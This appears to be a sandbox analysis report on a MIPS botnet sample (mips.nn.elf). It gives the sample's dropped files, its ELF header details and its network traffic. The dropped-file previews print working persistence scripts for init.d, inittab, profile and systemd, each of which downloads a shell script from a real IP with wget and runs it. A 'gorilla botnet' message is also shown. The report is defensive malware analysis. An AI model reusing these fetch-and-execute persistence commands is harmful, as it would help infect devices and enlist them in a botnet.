                                                    SHA-512:CDD53A79B7D657AC4F7E49B6F76F35427791A374183F84DB0797FC0E30D7E15354F10E09BBB1969D3E17DDCE3D21C87EB9CC027AA6B681835485F8DF26056C8D
                                                    Malicious:false
                                                    Reputation:low
                                                    Preview:run bootcmd_mmc0; /tmp/mips.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

                                                    /etc/init.d/mips.nn.elf

                                                    Download File
                                                    Process:/bin/sh
                                                    File Type:POSIX shell script, ASCII text executable
                                                    Category:dropped
                                                    Size (bytes):400
                                                    Entropy (8bit):4.520964657474615
                                                    Encrypted:false
                                                    SSDEEP:12:QRkiEXNxu6PUJgjvMbqFxzuKN+dRRucSOyd3:LcIh4YOM3
                                                    MD5:56EDCA3B93654832FB769BBE30221B74
                                                    SHA1:9B3F5BFB172A90B745F9FBEB78B26005A2F7F85A
                                                    SHA-256:14B17FA18317AB67A1A7001D8D1AE33ACC0B56B973BEED984D4DFA1FF345965E
                                                    SHA-512:46169E6F8C7D47138035E1264FB2A138B0B98093DAA8A684BFCDDFF0A5D4348734252AD1520B7DDCA6709D9EC7B5F1D6DB6C2483C39AD55BB126B87C49D0644B
                                                    Malicious:true
                                                    Joe Sandbox View:
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    Reputation:low
                                                    Preview:#!/bin/sh.# /etc/init.d/mips.nn.elf..case "" in. start). echo 'Starting mips.nn.elf'. /tmp/mips.nn.elf &. wget http://94.156.227.233/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping mips.nn.elf'. killall mips.nn.elf. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start|stop|restart}". exit 1. ;;.esac.exit 0.

                                                    /etc/init.d/system

                                                    Download File
                                                    Process:/tmp/mips.nn.elf
                                                    File Type:POSIX shell script, ASCII text executable
                                                    Category:dropped
                                                    Size (bytes):107
                                                    Entropy (8bit):4.626340344670068
                                                    Encrypted:false
                                                    SSDEEP:3:TKH4vZKaLOFDvSDRFiLdjX48FIbILpaKB0dFLoKE0:h8AqzSXoZX48bzBeLXE0
                                                    MD5:9D7810EB80D1ADF65C0E03C7E3ED8D3B
                                                    SHA1:CECD797E5D50D1AF62217724E3B52AEFECA83671
                                                    SHA-256:03FCED0CD0C08B10F51EFFC6DF9C887116170586213B5E9EF7259A2271ECFA3B
                                                    SHA-512:8B4B6A09400B9AEACB3A225D44325744A8D266D75BF5AC8913FB091E268E6AABC3FEF51C8AE7DB3E41B0A02714086DC59EBEB4A26F4B74BC096FE2BCE440783E
                                                    Malicious:true
                                                    Joe Sandbox View:
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    • Filename: mips.nn.elf, Detection: malicious, Browse
                                                    Reputation:low
                                                    Preview:#!/bin/sh./tmp/mips.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

                                                    /etc/inittab

                                                    Download File
                                                    Process:/tmp/mips.nn.elf
                                                    File Type:ASCII text
                                                    Category:dropped
                                                    Size (bytes):112
                                                    Entropy (8bit):4.596949186010745
                                                    Encrypted:false
                                                    SSDEEP:3:nAWu5ILOFDDoCvLdjX48FIbILbaaFOdFXa5O:AYqfoYZX48bbaaeXCO
                                                    MD5:8110861E1A221FAE15BEE01B7B3DDAEC
                                                    SHA1:D67AD4178DAC23F253B6ECF1AD545ACFF05F3E83
                                                    SHA-256:9711D7C6B31AF5337E2779B8B40347BD146B40D39AC05A80127585CED9CD1F1F
                                                    SHA-512:1B5267FEA415A3115B817604A9719C9F7EA2B667983A2ABB832179726DC762BFA4FCEFCF0711DCAD6675012934DA5AD0368CCB1664C16325A1897184D7CE2331
                                                    Malicious:false
                                                    Reputation:low
                                                    Preview:::respawn:/tmp/mips.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

                                                    /etc/motd

                                                    Download File
                                                    Process:/tmp/mips.nn.elf
                                                    File Type:ASCII text
                                                    Category:dropped
                                                    Size (bytes):53
                                                    Entropy (8bit):3.871459242626451
                                                    Encrypted:false
                                                    SSDEEP:3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
                                                    MD5:2BD9B4BE30579E633FC0191AA93DF486
                                                    SHA1:7D63A9BD9662E86666B27C1B50DB8E7370C624FF
                                                    SHA-256:64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
                                                    SHA-512:AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
                                                    Malicious:false
                                                    Preview:gorilla botnet is on the device ur not a cat go away.

                                                    /etc/profile

                                                    Download File
                                                    Process:/tmp/mips.nn.elf
                                                    File Type:ASCII text
                                                    Category:dropped
                                                    Size (bytes):103
                                                    Entropy (8bit):4.489371230985084
                                                    Encrypted:false
                                                    SSDEEP:3:TgaLOFDvSDRFiLdjX48FIbILbaaFOdFXa50:TgAqzSXoZX48bbaaeXC0
                                                    MD5:32A93536670421C003E8D71297170E6E
                                                    SHA1:031D23733D441D99A693E7B48D75B2CD3430BACB
                                                    SHA-256:06CB3A855BD04EF38606D12CDE5699579EDB620C67A04F411B1BB6CEBADA3183
                                                    SHA-512:D49E13E4B035FF91DABE8A88FDC1E40E6608134ADF402A48F03EDBA94A3C363D70101F42FD6C1529DFA2F2CD54E2F62AF108560177C05AF22AC3FAE92DF8101E
                                                    Malicious:true
                                                    Preview:/tmp/mips.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

                                                    /etc/rc.local

                                                    Download File
                                                    Process:/tmp/mips.nn.elf
                                                    File Type:POSIX shell script, ASCII text executable
                                                    Category:dropped
                                                    Size (bytes):10
                                                    Entropy (8bit):3.121928094887362
                                                    Encrypted:false
                                                    SSDEEP:3:TKH4vn:hv
                                                    MD5:3E2B31C72181B87149FF995E7202C0E3
                                                    SHA1:BD971BEC88149956458A10FC9C5ECB3EB99DD452
                                                    SHA-256:A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
                                                    SHA-512:543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                    Preview:#!/bin/sh.

                                                    /etc/systemd/system/custom.service

                                                    Download File
                                                    Process:/tmp/mips.nn.elf
                                                    File Type:ASCII text
                                                    Category:dropped
                                                    Size (bytes):301
                                                    Entropy (8bit):5.056342528833076
                                                    Encrypted:false
                                                    SSDEEP:6:z8ifitRZAMzdK+kA02+GWRdbZX48B+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+9p+GWRdtd+GWRXY+GWRuL6
                                                    MD5:4DF54A66C6714A7CABD20A2DB450B36C
                                                    SHA1:97AAF00169256C53F48520C28C6B3498AE519837
                                                    SHA-256:B78311024F1DBA0CEA598DF5EE70822B056284855C58559CF068B3510C31933F
                                                    SHA-512:7CC0892C73B3DEC673B8848AC9D2B4781DB4A0CB0520CB362AE426D5176CDA2FE7249590CA88F2D56EB3942E35B6095554EEEBA393D43E3B25DA214ED929B541
                                                    Malicious:false
                                                    Preview:[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/mips.nn.elf.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://94.156.227.233/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

                                                    /memfd:snapd-env-generator (deleted)

                                                    Download File
                                                    Process:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                    File Type:ASCII text
                                                    Category:dropped
                                                    Size (bytes):76
                                                    Entropy (8bit):3.7627880354948586
                                                    Encrypted:false
                                                    SSDEEP:3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
                                                    MD5:D86A1F5765F37989EB0EC3837AD13ECC
                                                    SHA1:D749672A734D9DEAFD61DCA501C6929EC431B83E
                                                    SHA-256:85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
                                                    SHA-512:338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
                                                    Malicious:false
                                                    Preview:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

                                                    /tmp/qemu-open.iEtbnN (deleted)

                                                    Download File
                                                    Process:/tmp/mips.nn.elf
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):17
                                                    Entropy (8bit):3.4992275471326932
                                                    Encrypted:false
                                                    SSDEEP:3:TgaLOln:TgAKn
                                                    MD5:3B2A108EB9BDAC564681D1D50B5B8E8F
                                                    SHA1:E744F918D99769B49D0C6E8CBEDD4A1590CBBD1E
                                                    SHA-256:B89FE9B42F66509FF52B529092B42F8D759FB8E03059E8CC4039940A45287D87
                                                    SHA-512:52A5D2AB05D38B4EEE703B8344837CA7B890D6C8CC32C7AAEE8F128EBBE5F45A92A72A54E8A14B4DB61E9E7E002CED615B52E7503F50FB46AD8738921B1C98A5
                                                    Malicious:false
                                                    Preview:/tmp/mips.nn.elf.

                                                    Static File Info

                                                    General

                                                    File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                                                    Entropy (8bit):5.637489316158472
                                                    TrID:
                                                    • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                    File name:mips.nn.elf
                                                    File size:114'640 bytes
                                                    MD5:46c3eacda981cd4dd2d8f25c4d2b0deb
                                                    SHA1:70cd3adb0a28d902e1fd8072df94fba871bd75eb
                                                    SHA256:d4919a89ce42771d1decb839ffcd87a5133298553b43ddbae8a2bc9cc0d6482b
                                                    SHA512:3e21ed25c3e0147ef4db70f66c57625a7845825e712dfaf8434ea6cd7659ad66cfccd56e2d79df490bc8d7e873c80becabf9cb5b553336e3684733d84181851b
                                                    SSDEEP:1536:A2CWLQwXetepmzLyLhYb4R81FHmKMv8gIHZeFA1PjRUeA:AlW8OePLyFpR8jHmKMzIHjNjRvA
                                                    TLSH:D3B3D81E6E618FBDF659C63947B74E21A39C33C622E1D245E27DD1111E6038E242FFA8
                                                    File Content Preview:.ELF.....................@.`...4.........4. ...(.............@...@.....P...P...............T.E.T.E.T....../X........dt.Q............................<...'.5....!'.......................<...'.4....!... ....'9... ......................<...'.4....!........'9.

                                                    Static ELF Info

                                                    ELF header

                                                    Class:ELF32
                                                    Data:2's complement, big endian
                                                    Version:1 (current)
                                                    Machine:MIPS R3000
                                                    Version Number:0x1
                                                    Type:EXEC (Executable file)
                                                    OS/ABI:UNIX - System V
                                                    ABI Version:0
                                                    Entry Point Address:0x400260
                                                    Flags:0x1007
                                                    ELF Header Size:52
                                                    Program Header Offset:52
                                                    Program Header Size:32
                                                    Number of Program Headers:3
                                                    Section Header Offset:114080
                                                    Section Header Size:40
                                                    Number of Section Headers:14
                                                    Header String Table Index:13

                                                    Sections

                                                    NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                    NULL0x00x00x00x00x0000
                                                    .initPROGBITS0x4000940x940x8c0x00x6AX004
                                                    .textPROGBITS0x4001200x1200x188400x00x6AX0016
                                                    .finiPROGBITS0x4189600x189600x5c0x00x6AX004
                                                    .rodataPROGBITS0x4189c00x189c00x26900x00x2A0016
                                                    .ctorsPROGBITS0x45b0540x1b0540x80x00x3WA004
                                                    .dtorsPROGBITS0x45b05c0x1b05c0x80x00x3WA004
                                                    .data.rel.roPROGBITS0x45b0680x1b0680x540x00x3WA004
                                                    .dataPROGBITS0x45b0c00x1b0c00x5000x00x3WA0016
                                                    .gotPROGBITS0x45b5c00x1b5c00x77c0x40x10000003WAp0016
                                                    .sbssNOBITS0x45bd3c0x1bd3c0x200x00x10000003WAp004
                                                    .bssNOBITS0x45bd600x1bd3c0x224c0x00x3WA0016
                                                    .mdebug.abi32PROGBITS0xe100x1bd3c0x00x00x0001
                                                    .shstrtabSTRTAB0x00x1bd3c0x640x00x0001

                                                    Program Segments

                                                    TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                    LOAD0x00x4000000x4000000x1b0500x1b0505.65950x5R E0x10000.init .text .fini .rodata
                                                    LOAD0x1b0540x45b0540x45b0540xce80x2f584.15090x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
                                                    GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                                    Network Behavior

                                                    Network Port Distribution

                                                    TCP Packets

                                                    TimestampSource PortDest PortSource IPDest IP
                                                    Dec 24, 2024 05:57:55.936167955 CET5135838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:56.056423903 CET382425135894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:56.056492090 CET5135838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:56.057070971 CET5135838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:56.177258968 CET382425135894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:56.579926968 CET5135838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:56.742670059 CET382425135894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:57.176263094 CET382425135894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:57.176918030 CET5135838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:57.584373951 CET5136038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:57.707076073 CET382425136094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:57.707153082 CET5136038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:57.707197905 CET5136038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:57.827769041 CET382425136094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:58.217123985 CET5136038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:58.385196924 CET382425136094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:58.821125984 CET382425136094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:58.821307898 CET5136038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:59.223515987 CET5136238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:59.343522072 CET382425136294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:59.343628883 CET5136238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:59.343667030 CET5136238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:57:59.463690042 CET382425136294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:57:59.855923891 CET5136238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:00.021274090 CET382425136294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:00.485763073 CET382425136294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:00.486017942 CET5136238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:00.858932018 CET5136438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:00.979043007 CET382425136494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:00.979152918 CET5136438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:00.979182005 CET5136438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:01.099179983 CET382425136494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:01.553456068 CET5136438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:01.717822075 CET382425136494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:02.115763903 CET382425136494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:02.115854979 CET5136438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:02.571320057 CET5136638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:02.691423893 CET382425136694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:02.691540956 CET5136638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:02.691579103 CET5136638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:02.811494112 CET382425136694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:03.199084044 CET5136638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:03.365259886 CET382425136694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:03.820489883 CET382425136694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:03.820683956 CET5136638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:04.202369928 CET5136838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:04.322647095 CET382425136894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:04.322746038 CET5136838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:04.322783947 CET5136838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:04.442504883 CET382425136894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:04.830722094 CET5136838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:04.997378111 CET382425136894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:05.460621119 CET382425136894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:05.460726023 CET5136838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:05.831948042 CET5137038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:05.951667070 CET382425137094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:05.951834917 CET5137038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:05.951834917 CET5137038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:06.071549892 CET382425137094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:06.456973076 CET5137038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:06.617537975 CET382425137094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:07.081022024 CET382425137094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:07.081193924 CET5137038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:07.458447933 CET5137238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:07.578227043 CET382425137294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:07.578310966 CET5137238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:07.578335047 CET5137238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:07.698287010 CET382425137294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:08.085294008 CET5137238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:08.253300905 CET382425137294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:08.698183060 CET382425137294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:08.698276997 CET5137238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:09.092020035 CET5137438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:09.212204933 CET382425137494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:09.212301970 CET5137438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:09.212328911 CET5137438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:09.332109928 CET382425137494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:09.717360020 CET5137438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:09.881170034 CET382425137494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:10.329039097 CET382425137494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:10.329133034 CET5137438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:10.718497992 CET5137638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:10.838130951 CET382425137694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:10.838222980 CET5137638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:10.838366985 CET5137638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:10.957916021 CET382425137694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:11.342242002 CET5137638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:11.509322882 CET382425137694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:11.960422039 CET382425137694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:11.960495949 CET5137638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:12.343293905 CET5137838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:12.462927103 CET382425137894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:12.463000059 CET5137838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:12.463021040 CET5137838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:12.582784891 CET382425137894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:12.966491938 CET5137838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:13.133275032 CET382425137894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:13.600565910 CET382425137894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:13.600652933 CET5137838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:13.967860937 CET5138038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:14.087595940 CET382425138094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:14.087662935 CET5138038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:14.087716103 CET5138038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:14.208373070 CET382425138094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:14.591464043 CET5138038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:14.757291079 CET382425138094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:15.205719948 CET382425138094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:15.205826044 CET5138038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:15.592447042 CET5138238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:15.712018967 CET382425138294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:15.712090015 CET5138238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:15.712131023 CET5138238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:15.831684113 CET382425138294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:16.215418100 CET5138238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:16.377163887 CET382425138294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:17.216278076 CET5138438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:17.335899115 CET382425138494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:17.336018085 CET5138438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:17.336055040 CET5138438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:17.455657005 CET382425138494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:17.839181900 CET5138438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:18.005285978 CET382425138494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:18.470374107 CET382425138494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:18.470465899 CET5138438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:18.840428114 CET5138638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:18.960391045 CET382425138694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:18.960458040 CET5138638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:18.960505962 CET5138638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:19.080063105 CET382425138694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:19.465279102 CET5138638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:19.625144958 CET382425138694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:20.088355064 CET382425138694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:20.088606119 CET5138638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:20.466447115 CET5138838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:20.586157084 CET382425138894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:20.586280107 CET5138838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:20.586312056 CET5138838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:20.705924034 CET382425138894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:21.089761972 CET5138838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:21.253216028 CET382425138894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:21.708774090 CET382425138894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:21.708998919 CET5138838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:22.090862036 CET5139038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:22.210455894 CET382425139094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:22.210529089 CET5139038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:22.210549116 CET5139038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:22.330122948 CET382425139094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:22.713526011 CET5139038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:22.877295017 CET382425139094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:23.329186916 CET382425139094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:23.329258919 CET5139038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:23.714390039 CET5139238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:23.833982944 CET382425139294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:23.834045887 CET5139238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:23.834094048 CET5139238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:23.953677893 CET382425139294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:24.337439060 CET5139238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:24.497236013 CET382425139294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:24.953000069 CET382425139294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:24.953078985 CET5139238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:25.338278055 CET5139438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:25.459007025 CET382425139494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:25.459110975 CET5139438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:25.459148884 CET5139438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:25.578833103 CET382425139494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:25.962297916 CET5139438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:26.125332117 CET382425139494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:26.585275888 CET382425139494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:26.585361958 CET5139438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:26.963485956 CET5139638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:27.083098888 CET382425139694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:27.083215952 CET5139638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:27.083215952 CET5139638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:27.203073978 CET382425139694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:27.586482048 CET5139638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:27.753350019 CET382425139694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:28.218501091 CET382425139694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:28.218585014 CET5139638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:28.588287115 CET5139838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:28.708003998 CET382425139894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:28.708117962 CET5139838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:28.708170891 CET5139838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:28.827728987 CET382425139894.156.227.234192.168.2.14
